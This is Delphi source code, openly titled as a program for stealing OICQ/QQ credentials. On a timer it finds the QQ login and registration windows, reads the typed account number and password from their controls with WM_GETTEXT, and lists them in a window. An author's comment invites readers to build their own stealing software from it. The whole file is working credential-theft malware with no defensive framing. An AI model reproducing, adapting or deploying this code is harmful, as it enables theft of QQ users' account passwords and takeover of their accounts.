fmain.~pas

OICQ盗取程序源码

unit FMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls;

type
  TMainF = class(TForm)
    Label1: TLabel;
    ListBox1: TListBox;
    Bevel1: TBevel;
    Label2: TLabel;
    Button1: TButton;
    ScanQQWindow: TTimer;
    procedure Button1Click(Sender: TObject);
    procedure ScanQQWindowTimer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
   OICQID,OICQKEY,OICQID2,OICQKEY2:Array [0..255] OF Char;
   OICQH,OICQT:Hwnd;
  end;

var
  MainF: TMainF;
//声明：您可以修改/参考我的程序源码，写出您自己的盗取软件,但需要您
//注明您修改或参考我的程序制作的,以確定我的劳动成果,謝謝合作
//程序设计/制作：揭登波
//2003/11/16

implementation

{$R *.dfm}
//============
Procedure GetQQ(QQHwnd:Hwnd); //得到注册向导中输入的用户名与密码
Var TempH:Hwnd;
Begin
TempH:=GetNextWindow(QQHwnd,GW_HWNDNEXT);
SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQID));
TempH:=GetNextWindow(TempH,GW_HWNDNEXT);
SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQKEY));
End;
//============
Procedure GetQQ2(QQHwnd:Hwnd);  //得到QQ登陆的用户名与密码
Var TempH:Hwnd;
Begin
TempH:=FindWindowEx(QQHwnd,0,'ComboBox',nil);
SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQID2));
TempH:=FindWindowEx(QQHwnd,0,'Edit',nil);
SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQKEY2));
End;
//============

procedure TMainF.Button1Click(Sender: TObject);
begin
Close;
end;

procedure TMainF.ScanQQWindowTimer(Sender: TObject);
Var
  QID,QKEY,QID2,QKEY2:String;
  QLongH:Hwnd;
Begin
  OICQH:=FindWindow('#32770',nil);
  QLongH:=FindWindowEx(OICQH,0,'Button','注册向导');
  IF QLongH<>0 Then
  Begin
  GetQQ2(OICQH);
  QLongH:=FindWindowEx(OICQH,0,'Button','注册向导');
  End;
  IF QLongH=0 Then Begin
  QID2:=OICQID2;
  QKEY2:=OICQKEY2;
  IF (Length(QID2)>4) And (Length(QKEY2)>3) And (QID2<>'<请在这儿输入QQ号码>') Then //分析是否合法
    Begin
      //是的话
    ListBox1.AddItem('帐号：'+QID2+' 密码：'+QKEY2,nil);
            
    End Else Begin
             //===不是的情况
             End;
  OICQID2:='';
  OICQKEY2:='';
  End;
  OICQH:=FindWindowEx(OICQH,0,'#32770',nil);
  OICQH:=FindWindowEx(OICQH,0,'Button','使用已有的QQ号码');
  IF OICQH<>0 Then
  Begin
  OICQT:=OICQH;
  GetQQ(OICQT);
  End Else Begin
  QID:=OICQID;
  QKEY:=OICQKEY;
  OICQID:='';
  OICQKEY:='';
  IF (Length(QID)>4) And (Length(QKEY)>3) Then //分析是否合法
    Begin
    //是的话
    ListBox1.AddItem('帐号：'+QID+' 密码：'+QKEY,nil);
           
    End Else Begin
             //===不是的情况
             End;
    End;
end;
end.